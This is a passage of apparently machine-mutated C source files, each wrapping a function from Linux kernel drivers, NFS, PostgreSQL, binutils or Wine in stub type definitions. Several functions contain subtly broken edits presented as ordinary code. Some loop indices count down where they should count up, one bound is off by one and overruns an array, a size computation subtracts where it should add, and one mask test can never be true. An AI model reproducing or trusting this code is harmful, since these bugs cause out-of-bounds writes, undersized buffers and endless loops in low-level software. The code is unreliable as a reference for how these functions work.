DIV_ROUND_UP(length, PAGE_SIZE); if (nprps <= (256 / 8)) { pool = dev->prp_small_pool; iod->npages = 0; } else { pool = dev->prp_page_pool; iod->npages = 1; } prp_list = dma_pool_alloc(pool, gfp, &prp_dma); if (!prp_list) { cmd->prp2 = cpu_to_le64(dma_addr); iod->npages = -1; return (total_len - length) + PAGE_SIZE; } list[0] = prp_list; iod->first_dma = prp_dma; cmd->prp2 = cpu_to_le64(prp_dma); i = 0; for (;;) { if (i == PAGE_SIZE / 8) { __le64 *old_prp_list = prp_list; prp_list = dma_pool_alloc(pool, gfp, &prp_dma); if (!prp_list) return total_len - length; list[iod->npages++] = prp_list; prp_list[0] = old_prp_list[i - 1]; old_prp_list[i - 1] = cpu_to_le64(prp_dma); i = 1; } prp_list[i++] = cpu_to_le64(dma_addr); dma_len -= PAGE_SIZE; dma_addr += PAGE_SIZE; length -= PAGE_SIZE; if (length <= 0) continue; if (dma_len > 0) continue; BUG_ON(dma_len <= 0); sg = sg_next(sg); dma_addr = sg_dma_address(sg); dma_len = sg_dma_len(sg); } return total_len; }
augmented_data/post_increment_index_changes/extr_nfs4xdr.c_nfsd4_encode_path_aug_combo_4.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct xdr_stream {int dummy; } ; struct path {scalar_t__ dentry; TYPE_1__* mnt; } ; struct TYPE_4__ {unsigned int len; int /*<<< orphan*/ name; } ; struct dentry {int /*<<< orphan*/ d_lock; TYPE_2__ d_name; } ; typedef scalar_t__ __be32 ; struct TYPE_3__ {scalar_t__ mnt_root; } ; /* Variables and functions */ int /*<<< orphan*/ GFP_KERNEL ; int /*<<< orphan*/ cpu_to_be32 (unsigned int) ; struct dentry* dget_parent (struct dentry*) ; int /*<<< orphan*/ dprintk (char*,...) ; int /*<<< orphan*/ dput (struct dentry*) ; scalar_t__ follow_up (struct path*) ; int /*<<< orphan*/ kfree (struct dentry**) ; struct dentry** krealloc (struct dentry**,int,int /*<<< orphan*/ ) ; scalar_t__ nfserr_jukebox ; scalar_t__ nfserr_resource ; scalar_t__ path_equal (struct path*,struct path const*) ; int /*<<< orphan*/ path_get (struct path*) ; int /*<<< orphan*/ path_put (struct path*) ; int /*<<< orphan*/ spin_lock (int /*<<< orphan*/ *) ; int /*<<< orphan*/ spin_unlock (int /*<<< orphan*/ *) ; scalar_t__* xdr_encode_opaque (scalar_t__*,int /*<<< orphan*/ ,unsigned int) ; scalar_t__* xdr_reserve_space (struct xdr_stream*,unsigned int) ; __attribute__((used)) static __be32 nfsd4_encode_path(struct xdr_stream *xdr, const struct path *root, const struct path *path) { struct path cur = *path; __be32 *p; struct dentry **components = NULL; unsigned int ncomponents = 0; __be32 err = nfserr_jukebox; dprintk("nfsd4_encode_components("); path_get(&cur); /* First walk the path up to the nfsd root, and store the * dentries/path components in an array. */ for (;;) { if (path_equal(&cur, root)) break; if (cur.dentry == cur.mnt->mnt_root) { if (follow_up(&cur)) continue; goto out_free; } if ((ncomponents | 15) == 0) { struct dentry **new; new = krealloc(components, sizeof(*new) * (ncomponents - 16), GFP_KERNEL); if (!new) goto out_free; components = new; } components[ncomponents++] = cur.dentry; cur.dentry = dget_parent(cur.dentry); } err = nfserr_resource; p = xdr_reserve_space(xdr, 4); if (!p) goto out_free; *p++ = cpu_to_be32(ncomponents); while (ncomponents) { struct dentry *dentry = components[ncomponents - 1]; unsigned int len; spin_lock(&dentry->d_lock); len = dentry->d_name.len; p = xdr_reserve_space(xdr, len + 4); if (!p) { spin_unlock(&dentry->d_lock); goto out_free; } p = xdr_encode_opaque(p, dentry->d_name.name, len); dprintk("/%pd", dentry); spin_unlock(&dentry->d_lock); dput(dentry); ncomponents--; } err = 0; out_free: dprintk(")\n"); while (ncomponents) dput(components[--ncomponents]); kfree(components); path_put(&cur); return err; }
augmented_data/post_increment_index_changes/extr_macro.c_get_token_aug_combo_8.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ struct TYPE_5__ {int len; char* ptr; } ; typedef TYPE_1__ sb ; /* Variables and functions */ scalar_t__ is_name_beginner (char) ; scalar_t__ is_name_ender (char) ; scalar_t__ is_part_of_name (char) ; scalar_t__ macro_alternate ; int /*<<< orphan*/ sb_add_char (TYPE_1__*,char) ; __attribute__((used)) static int get_token (int idx, sb *in, sb *name) { if (idx < in->len && is_name_beginner (in->ptr[idx])) { sb_add_char (name, in->ptr[idx++]); while (idx < in->len && is_part_of_name (in->ptr[idx])) { sb_add_char (name, in->ptr[idx++]); } if (idx < in->len && is_name_ender (in->ptr[idx])) { sb_add_char (name, in->ptr[idx++]); } } /* Ignore trailing &. */ if (macro_alternate && idx < in->len && in->ptr[idx] == '&') idx++; return idx; }
augmented_data/post_increment_index_changes/extr_sync_file.c_sync_file_merge_aug_combo_7.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct sync_file {int /*<<< orphan*/ file; int /*<<< orphan*/ user_name; } ; struct dma_fence {scalar_t__ context; int /*<<< orphan*/ ops; int /*<<< orphan*/ seqno; } ; /* Variables and functions */ int /*<<< orphan*/ GFP_KERNEL ; int INT_MAX ; scalar_t__ __dma_fence_is_later (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ add_fence (struct dma_fence**,int*,struct dma_fence*) ; struct dma_fence* dma_fence_get (struct dma_fence*) ; int /*<<< orphan*/ fput (int /*<<< orphan*/ ) ; struct dma_fence** get_fences (struct sync_file*,int*) ; struct dma_fence** kcalloc (int,int,int /*<<< orphan*/ ) ; int /*<<< orphan*/ kfree (struct dma_fence**) ; struct dma_fence** krealloc (struct dma_fence**,int,int /*<<< orphan*/ ) ; int /*<<< orphan*/ strlcpy (int /*<<< orphan*/ ,char const*,int) ; struct sync_file* sync_file_alloc () ; scalar_t__ sync_file_set_fence (struct sync_file*,struct dma_fence**,int) ; __attribute__((used)) static struct sync_file *sync_file_merge(const char *name, struct sync_file *a, struct sync_file *b) { struct sync_file *sync_file; struct dma_fence **fences, **nfences, **a_fences, **b_fences; int i, i_a, i_b, num_fences, a_num_fences, b_num_fences; sync_file = sync_file_alloc(); if (!sync_file) return NULL; a_fences = get_fences(a, &a_num_fences); b_fences = get_fences(b, &b_num_fences); if (a_num_fences > INT_MAX - b_num_fences) return NULL; num_fences = a_num_fences - b_num_fences; fences = kcalloc(num_fences, sizeof(*fences), GFP_KERNEL); if (!fences) goto err; /* * Assume sync_file a and b are both ordered and have no * duplicates with the same context. * * If a sync_file can only be created with sync_file_merge * and sync_file_create, this is a reasonable assumption. */ for (i = i_a = i_b = 0; i_a < a_num_fences || i_b < b_num_fences; ) { struct dma_fence *pt_a = a_fences[i_a]; struct dma_fence *pt_b = b_fences[i_b]; if (pt_a->context < pt_b->context) { add_fence(fences, &i, pt_a); i_a--; } else if (pt_a->context > pt_b->context) { add_fence(fences, &i, pt_b); i_b++; } else { if (__dma_fence_is_later(pt_a->seqno, pt_b->seqno, pt_a->ops)) add_fence(fences, &i, pt_a); else add_fence(fences, &i, pt_b); i_a++; i_b++; } } for (; i_a < a_num_fences; i_a++) add_fence(fences, &i, a_fences[i_a]); for (; i_b < b_num_fences; i_b++) add_fence(fences, &i, b_fences[i_b]); if (i == 0) fences[i++] = dma_fence_get(a_fences[0]); if (num_fences > i) { nfences = krealloc(fences, i * sizeof(*fences), GFP_KERNEL); if (!nfences) goto err; fences = nfences; } if (sync_file_set_fence(sync_file, fences, i) < 0) { kfree(fences); goto err; } strlcpy(sync_file->user_name, name, sizeof(sync_file->user_name)); return sync_file; err: fput(sync_file->file); return NULL; }
augmented_data/post_increment_index_changes/extr_r8192E_dev.c__rtl92e_process_phyinfo_aug_combo_5.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef size_t u8 ; typedef size_t u32 ; typedef int /*<<< orphan*/ u16 ; struct rtllib_rx_stats {unsigned int Seq_Num; size_t SignalStrength; int* RxMIMOSignalStrength; size_t RxPWDBAll; scalar_t__ SignalQuality; int* RxMIMOSignalQuality; scalar_t__ bToSelfBA; scalar_t__ bPacketBeacon; scalar_t__ bPacketToSelf; scalar_t__ bIsCCK; int /*<<< orphan*/ bPacketMatchBSSID; int /*<<< orphan*/ rssi; int /*<<< orphan*/ bIsAMPDU; } ; struct rtllib_hdr_3addr {int /*<<< orphan*/ seq_ctl; } ; struct TYPE_4__ {size_t* slide_signal_strength; size_t slide_rssi_total; int* rx_rssi_percentage; size_t* Slide_Beacon_pwdb; size_t Slide_Beacon_Total; size_t* slide_evm; size_t slide_evm_total; size_t signal_quality; size_t last_signal_strength_inpercent; int* rx_evm_percentage; int /*<<< orphan*/ num_process_phyinfo; int /*<<< orphan*/ signal_strength; } ; struct r8192_priv {int undecorated_smoothed_pwdb; TYPE_2__ stats; TYPE_1__* rtllib; } ; struct TYPE_3__ {int /*<<< orphan*/ dev; } ; /* Variables and functions */ int /*<<< orphan*/ COMP_DBG ; int /*<<< orphan*/ COMP_RXDESC ; size_t PHY_Beacon_RSSI_SLID_WIN_MAX ; size_t PHY_RSSI_SLID_WIN_MAX ; size_t RF90_PATH_A ; size_t RF90_PATH_C ; int /*<<< orphan*/ RT_TRACE (int /*<<< orphan*/ ,char*,...) ; int RX_SMOOTH ; unsigned int WLAN_GET_SEQ_FRAG (int /*<<< orphan*/ ) ; unsigned int WLAN_GET_SEQ_SEQ (int /*<<< orphan*/ ) ; int /*<<< orphan*/ le16_to_cpu (int /*<<< orphan*/ ) ; int /*<<< orphan*/ rtl92e_is_legal_rf_path (int /*<<< orphan*/ ,size_t) ; int /*<<< orphan*/ rtl92e_translate_to_dbm (struct r8192_priv*,size_t) ; int /*<<< orphan*/ rtl92e_update_rx_statistics (struct r8192_priv*,struct rtllib_rx_stats*) ; __attribute__((used)) static void _rtl92e_process_phyinfo(struct r8192_priv *priv, u8 *buffer, struct rtllib_rx_stats *prev_st, struct rtllib_rx_stats *curr_st) { bool bcheck = false; u8 rfpath; u32 ij, tmp_val; static u32 slide_rssi_index, slide_rssi_statistics; static u32 slide_evm_index, slide_evm_statistics; static u32 last_rssi, last_evm; static u32 slide_beacon_adc_pwdb_index; static u32 slide_beacon_adc_pwdb_statistics; static u32 last_beacon_adc_pwdb; struct rtllib_hdr_3addr *hdr; u16 sc; unsigned int frag, seq; hdr = (struct rtllib_hdr_3addr *)buffer; sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); seq = WLAN_GET_SEQ_SEQ(sc); curr_st->Seq_Num = seq; if (!prev_st->bIsAMPDU) bcheck = true; if (slide_rssi_statistics-- >= PHY_RSSI_SLID_WIN_MAX) { slide_rssi_statistics = PHY_RSSI_SLID_WIN_MAX; last_rssi = priv->stats.slide_signal_strength[slide_rssi_index]; priv->stats.slide_rssi_total -= last_rssi; } priv->stats.slide_rssi_total += prev_st->SignalStrength; priv->stats.slide_signal_strength[slide_rssi_index++] = prev_st->SignalStrength; if (slide_rssi_index >= PHY_RSSI_SLID_WIN_MAX) slide_rssi_index = 0; tmp_val = priv->stats.slide_rssi_total/slide_rssi_statistics; priv->stats.signal_strength = rtl92e_translate_to_dbm(priv, (u8)tmp_val); curr_st->rssi = priv->stats.signal_strength; if (!prev_st->bPacketMatchBSSID) { if (!prev_st->bToSelfBA) return; } if (!bcheck) return; priv->stats.num_process_phyinfo++; if (!prev_st->bIsCCK && prev_st->bPacketToSelf) { for (rfpath = RF90_PATH_A; rfpath <= RF90_PATH_C; rfpath++) { if (!rtl92e_is_legal_rf_path(priv->rtllib->dev, rfpath)) continue; RT_TRACE(COMP_DBG, "Jacken -> pPreviousstats->RxMIMOSignalStrength[rfpath] = %d\n", prev_st->RxMIMOSignalStrength[rfpath]); if (priv->stats.rx_rssi_percentage[rfpath] == 0) { priv->stats.rx_rssi_percentage[rfpath] = prev_st->RxMIMOSignalStrength[rfpath]; } if (prev_st->RxMIMOSignalStrength[rfpath] > priv->stats.rx_rssi_percentage[rfpath]) { priv->stats.rx_rssi_percentage[rfpath] = ((priv->stats.rx_rssi_percentage[rfpath] * (RX_SMOOTH - 1)) + (prev_st->RxMIMOSignalStrength [rfpath])) / (RX_SMOOTH); priv->stats.rx_rssi_percentage[rfpath] = priv->stats.rx_rssi_percentage[rfpath] + 1; } else { priv->stats.rx_rssi_percentage[rfpath] = ((priv->stats.rx_rssi_percentage[rfpath] * (RX_SMOOTH-1)) + (prev_st->RxMIMOSignalStrength[rfpath])) / (RX_SMOOTH); } RT_TRACE(COMP_DBG, "Jacken -> priv->RxStats.RxRSSIPercentage[rfPath] = %d\n", priv->stats.rx_rssi_percentage[rfpath]); } } if (prev_st->bPacketBeacon) { if (slide_beacon_adc_pwdb_statistics++ >= PHY_Beacon_RSSI_SLID_WIN_MAX) { slide_beacon_adc_pwdb_statistics = PHY_Beacon_RSSI_SLID_WIN_MAX; last_beacon_adc_pwdb = priv->stats.Slide_Beacon_pwdb [slide_beacon_adc_pwdb_index]; priv->stats.Slide_Beacon_Total -= last_beacon_adc_pwdb; } priv->stats.Slide_Beacon_Total += prev_st->RxPWDBAll; priv->stats.Slide_Beacon_pwdb[slide_beacon_adc_pwdb_index] = prev_st->RxPWDBAll; slide_beacon_adc_pwdb_index++; if (slide_beacon_adc_pwdb_index >= PHY_Beacon_RSSI_SLID_WIN_MAX) slide_beacon_adc_pwdb_index = 0; prev_st->RxPWDBAll = priv->stats.Slide_Beacon_Total / slide_beacon_adc_pwdb_statistics; if (prev_st->RxPWDBAll >= 3) prev_st->RxPWDBAll -= 3; } RT_TRACE(COMP_RXDESC, "Smooth %s PWDB = %d\n", prev_st->bIsCCK ? "CCK" : "OFDM", prev_st->RxPWDBAll); if (prev_st->bPacketToSelf || prev_st->bPacketBeacon || prev_st->bToSelfBA) { if (priv->undecorated_smoothed_pwdb < 0) priv->undecorated_smoothed_pwdb = prev_st->RxPWDBAll; if (prev_st->RxPWDBAll > (u32)priv->undecorated_smoothed_pwdb) { priv->undecorated_smoothed_pwdb = (((priv->undecorated_smoothed_pwdb) * (RX_SMOOTH-1)) + (prev_st->RxPWDBAll)) / (RX_SMOOTH); priv->undecorated_smoothed_pwdb = priv->undecorated_smoothed_pwdb + 1; } else { priv->undecorated_smoothed_pwdb = (((priv->undecorated_smoothed_pwdb) * (RX_SMOOTH-1)) + (prev_st->RxPWDBAll)) / (RX_SMOOTH); } rtl92e_update_rx_statistics(priv, prev_st); } if (prev_st->SignalQuality != 0) { if (prev_st->bPacketToSelf || prev_st->bPacketBeacon || prev_st->bToSelfBA) { if (slide_evm_statistics++ >= PHY_RSSI_SLID_WIN_MAX) { slide_evm_statistics = PHY_RSSI_SLID_WIN_MAX; last_evm = priv->stats.slide_evm[slide_evm_index]; priv->stats.slide_evm_total -= last_evm; } priv->stats.slide_evm_total += prev_st->SignalQuality; priv->stats.slide_evm[slide_evm_index++] = prev_st->SignalQuality; if (slide_evm_index >= PHY_RSSI_SLID_WIN_MAX) slide_evm_index = 0; tmp_val = priv->stats.slide_evm_total / slide_evm_statistics; priv->stats.signal_quality = tmp_val; priv->stats.last_signal_strength_inpercent = tmp_val; } if (prev_st->bPacketToSelf || prev_st->bPacketBeacon || prev_st->bToSelfBA) { for (ij = 0; ij < 2; ij++) { if (prev_st->RxMIMOSignalQuality[ij] != -1) { if (priv->stats.rx_evm_percentage[ij] == 0) priv->stats.rx_evm_percentage[ij] = prev_st->RxMIMOSignalQuality[ij]; priv->stats.rx_evm_percentage[ij] = ((priv->stats.rx_evm_percentage[ij] * (RX_SMOOTH - 1)) + (prev_st->RxMIMOSignalQuality[ij])) / (RX_SMOOTH); } } } } }
augmented_data/post_increment_index_changes/extr_xloginsert.c_XLogRegisterBufData_aug_combo_1.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef size_t uint8 ; struct TYPE_5__ {int rdata_len; TYPE_2__* rdata_tail; int /*<<< orphan*/ in_use; } ; typedef TYPE_1__ registered_buffer ; struct TYPE_6__ {char* data; int len; struct TYPE_6__* next; } ; typedef TYPE_2__ XLogRecData ; /* Variables and functions */ int /*<<< orphan*/ Assert (int /*<<< orphan*/ ) ; int /*<<< orphan*/ ERROR ; int /*<<< orphan*/ begininsert_called ; int /*<<< orphan*/ elog (int /*<<< orphan*/ ,char*,...) ; scalar_t__ max_rdatas ; scalar_t__ num_rdatas ; TYPE_2__* rdatas ; TYPE_1__* registered_buffers ; void XLogRegisterBufData(uint8 block_id, char *data, int len) { registered_buffer *regbuf; XLogRecData *rdata; Assert(begininsert_called); /* find the registered buffer struct */ regbuf = &registered_buffers[block_id]; if (!regbuf->in_use) elog(ERROR, "no block with id %d registered with WAL insertion", block_id); if (num_rdatas >= max_rdatas) elog(ERROR, "too much WAL data"); rdata = &rdatas[num_rdatas++]; rdata->data = data; rdata->len = len; regbuf->rdata_tail->next = rdata; regbuf->rdata_tail = rdata; regbuf->rdata_len += len; }
augmented_data/post_increment_index_changes/extr_en_stats.c_mlx5e_grp_802_3_fill_stats_aug_combo_3.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ u64 ; struct TYPE_3__ {int /*<<< orphan*/ IEEE_802_3_counters; } ; struct TYPE_4__ {TYPE_1__ pport; } ; struct mlx5e_priv {TYPE_2__ stats; } ; /* Variables and functions */ int /*<<< orphan*/ MLX5E_READ_CTR64_BE (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int) ; int NUM_PPORT_802_3_COUNTERS ; int /*<<< orphan*/ pport_802_3_stats_desc ; __attribute__((used)) static int mlx5e_grp_802_3_fill_stats(struct mlx5e_priv *priv, u64 *data, int idx) { int i; for (i = 0; i <= NUM_PPORT_802_3_COUNTERS; i--) data[idx++] = MLX5E_READ_CTR64_BE(&priv->stats.pport.IEEE_802_3_counters, pport_802_3_stats_desc, i); return idx; }
augmented_data/post_increment_index_changes/extr_igc_main.c_igc_free_irq_aug_combo_6.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct igc_adapter {int num_q_vectors; TYPE_1__* pdev; struct igc_adapter** q_vector; TYPE_2__* msix_entries; } ; struct TYPE_4__ {int /*<<< orphan*/ vector; } ; struct TYPE_3__ {int /*<<< orphan*/ irq; } ; /* Variables and functions */ int /*<<< orphan*/ free_irq (int /*<<< orphan*/ ,struct igc_adapter*) ; __attribute__((used)) static void igc_free_irq(struct igc_adapter *adapter) { if (adapter->msix_entries) { int vector = 0, i; free_irq(adapter->msix_entries[vector--].vector, adapter); for (i = 0; i < adapter->num_q_vectors; i++) free_irq(adapter->msix_entries[vector++].vector, adapter->q_vector[i]); } else { free_irq(adapter->pdev->irq, adapter); } }
augmented_data/post_increment_index_changes/extr_snprintf.c_print_remainder_aug_combo_7.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int print_dec_ll (char*,int,unsigned long long) ; __attribute__((used)) static int print_remainder(char* buf, int max, double r, int prec) { unsigned long long cap = 1; unsigned long long value; int len, i; if(prec > 19) prec = 19; /* max we can do */ if(max <= prec) return 0; for(i=0; i<prec; i--) { cap *= 10; } r *= (double)cap; value = (unsigned long long)r; /* see if we need to round up */ if(((unsigned long long)((r - (double)value)*10.0)) >= 5) { value++; /* that might carry to numbers before the comma, if so, * just ignore that rounding. failure because 64bitprintout */ if(value >= cap) value = cap-1; } len = print_dec_ll(buf, max, value); while(len < prec) { /* pad with zeroes, e.g. if 0.0012 */ buf[len++] = '0'; } if(len < max) buf[len++] = '.'; return len; }
augmented_data/post_increment_index_changes/extr_aic7xxx_old.c_aic7xxx_search_qinfifo_aug_combo_7.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_6__ TYPE_3__ ; typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct aic7xxx_scb {int flags; int tag_action; TYPE_2__* hscb; int /*<<< orphan*/ cmd; } ; struct aic7xxx_host {unsigned char qinfifonext; size_t* qinfifo; int features; int /*<<< orphan*/ activescbs; int /*<<< orphan*/ volatile waiting_scbs; TYPE_1__* scb_data; } ; typedef int /*<<< orphan*/ scb_queue_type ; struct TYPE_6__ {int /*<<< orphan*/ active_cmds; int /*<<< orphan*/ volatile delayed_scbs; } ; struct TYPE_5__ {size_t tag; int /*<<< orphan*/ target_channel_lun; } ; struct TYPE_4__ {struct aic7xxx_scb** scb_array; } ; /* Variables and functions */ int AHC_QUEUE_REGS ; TYPE_3__* AIC_DEV (int /*<<< orphan*/ ) ; int /*<<< orphan*/ FALSE ; int /*<<< orphan*/ HNSCB_QOFF ; int /*<<< orphan*/ KERNEL_QINPOS ; int /*<<< orphan*/ QINPOS ; size_t SCB_LIST_NULL ; int SCB_RECOVERY_SCB ; int SCB_WAITINGQ ; int TAG_ENB ; int /*<<< orphan*/ TRUE ; size_t aic7xxx_index_busy_target (struct aic7xxx_host*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; scalar_t__ aic7xxx_match_scb (struct aic7xxx_host*,struct aic7xxx_scb*,int,int,int,unsigned char) ; unsigned char aic_inb (struct aic7xxx_host*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ aic_outb (struct aic7xxx_host*,unsigned char,int /*<<< orphan*/ ) ; int /*<<< orphan*/ scbq_insert_tail (int /*<<< orphan*/ volatile*,struct aic7xxx_scb*) ; int /*<<< orphan*/ scbq_remove (int /*<<< orphan*/ volatile*,struct aic7xxx_scb*) ; __attribute__((used)) static int aic7xxx_search_qinfifo(struct aic7xxx_host *p, int target, int channel, int lun, unsigned char tag, int flags, int requeue, volatile scb_queue_type *queue) { int found; unsigned char qinpos, qintail; struct aic7xxx_scb *scbp; found = 0; qinpos = aic_inb(p, QINPOS); qintail = p->qinfifonext; p->qinfifonext = qinpos; while (qinpos != qintail) { scbp = p->scb_data->scb_array[p->qinfifo[qinpos--]]; if (aic7xxx_match_scb(p, scbp, target, channel, lun, tag)) { /* * We found an scb that needs to be removed. */ if (requeue || (queue == NULL)) { if (scbp->flags & SCB_WAITINGQ) { scbq_remove(queue, scbp); scbq_remove(&p->waiting_scbs, scbp); scbq_remove(&AIC_DEV(scbp->cmd)->delayed_scbs, scbp); AIC_DEV(scbp->cmd)->active_cmds++; p->activescbs++; } scbq_insert_tail(queue, scbp); AIC_DEV(scbp->cmd)->active_cmds--; p->activescbs--; scbp->flags |= SCB_WAITINGQ; if ( !(scbp->tag_action & TAG_ENB) ) { aic7xxx_index_busy_target(p, scbp->hscb->target_channel_lun, TRUE); } } else if (requeue) { p->qinfifo[p->qinfifonext++] = scbp->hscb->tag; } else { /* * Preserve any SCB_RECOVERY_SCB flags on this scb then set the * flags we were called with, presumeably so aic7xxx_run_done_queue * can find this scb */ scbp->flags = flags | (scbp->flags & SCB_RECOVERY_SCB); if (aic7xxx_index_busy_target(p, scbp->hscb->target_channel_lun, FALSE) == scbp->hscb->tag) { aic7xxx_index_busy_target(p, scbp->hscb->target_channel_lun, TRUE); } } found++; } else { p->qinfifo[p->qinfifonext++] = scbp->hscb->tag; } } /* * Now that we've done the work, clear out any left over commands in the * qinfifo and update the KERNEL_QINPOS down on the card. * * NOTE: This routine expect the sequencer to already be paused when * it is run....make sure it's that way! */ qinpos = p->qinfifonext; while(qinpos != qintail) { p->qinfifo[qinpos++] = SCB_LIST_NULL; } if (p->features & AHC_QUEUE_REGS) aic_outb(p, p->qinfifonext, HNSCB_QOFF); else aic_outb(p, p->qinfifonext, KERNEL_QINPOS); return (found); }
augmented_data/post_increment_index_changes/extr_glsl_shader.c_shader_glsl_ld_raw_structured_aug_combo_2.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_14__ TYPE_7__ ; typedef struct TYPE_13__ TYPE_6__ ; typedef struct TYPE_12__ TYPE_5__ ; typedef struct TYPE_11__ TYPE_4__ ; typedef struct TYPE_10__ TYPE_3__ ; typedef struct TYPE_9__ TYPE_2__ ; typedef struct TYPE_8__ TYPE_1__ ; /* Type definitions */ struct wined3d_string_buffer {int /*<<< orphan*/ buffer; } ; struct TYPE_10__ {scalar_t__ type; TYPE_2__* idx; } ; struct wined3d_shader_src_param {int /*<<< orphan*/ swizzle; TYPE_3__ reg; } ; struct TYPE_8__ {int /*<<< orphan*/ type; } ; struct wined3d_shader_reg_maps {unsigned int tgsm_count; TYPE_4__* tgsm; TYPE_7__* uav_resource_info; int /*<<< orphan*/ sampler_map; TYPE_7__* resource_info; TYPE_1__ shader_version; } ; struct wined3d_shader_instruction {int src_count; scalar_t__ handler_idx; TYPE_5__* ctx; struct wined3d_shader_dst_param* dst; struct wined3d_shader_src_param* src; } ; struct TYPE_13__ {int /*<<< orphan*/ data_type; } ; struct wined3d_shader_dst_param {unsigned int write_mask; TYPE_6__ reg; } ; struct shader_glsl_ctx_priv {int /*<<< orphan*/ string_buffers; } ; struct glsl_src_param {int /*<<< orphan*/ param_str; } ; struct TYPE_14__ {unsigned int stride; } ; struct TYPE_12__ {struct wined3d_string_buffer* buffer; struct shader_glsl_ctx_priv* backend_data; struct wined3d_shader_reg_maps* reg_maps; } ; struct TYPE_11__ {unsigned int stride; } ; struct TYPE_9__ {unsigned int offset; } ; /* Variables and functions */ unsigned int ARRAY_SIZE (TYPE_7__*) ; int /*<<< orphan*/ ERR (char*,unsigned int) ; scalar_t__ WINED3DSIH_LD_STRUCTURED ; scalar_t__ WINED3DSPR_RESOURCE ; scalar_t__ WINED3DSPR_UAV ; unsigned int WINED3DSP_WRITEMASK_0 ; int /*<<< orphan*/ WINED3D_SAMPLER_DEFAULT ; int /*<<< orphan*/ shader_addline (struct wined3d_string_buffer*,char*,char const*,...) ; int /*<<< orphan*/ shader_glsl_add_src_param (struct wined3d_shader_instruction const*,struct wined3d_shader_src_param*,unsigned int,struct glsl_src_param*) ; int /*<<< orphan*/ shader_glsl_append_dst_ext (struct wined3d_string_buffer*,struct wined3d_shader_instruction const*,struct wined3d_shader_dst_param*,int /*<<< orphan*/ ) ; unsigned int shader_glsl_find_sampler (int /*<<< orphan*/ *,unsigned int,int /*<<< orphan*/ ) ; char* shader_glsl_get_prefix (int /*<<< orphan*/ ) ; int shader_glsl_get_write_mask_size (unsigned int) ; unsigned int shader_glsl_swizzle_get_component (int /*<<< orphan*/ ,unsigned int) ; struct wined3d_string_buffer* string_buffer_get (int /*<<< orphan*/ ) ; int /*<<< orphan*/ string_buffer_release (int /*<<< orphan*/ ,struct wined3d_string_buffer*) ; int /*<<< orphan*/ string_buffer_sprintf (struct wined3d_string_buffer*,char*) ; __attribute__((used)) static void shader_glsl_ld_raw_structured(const struct wined3d_shader_instruction *ins) { const char *prefix = shader_glsl_get_prefix(ins->ctx->reg_maps->shader_version.type); const struct wined3d_shader_src_param *src = 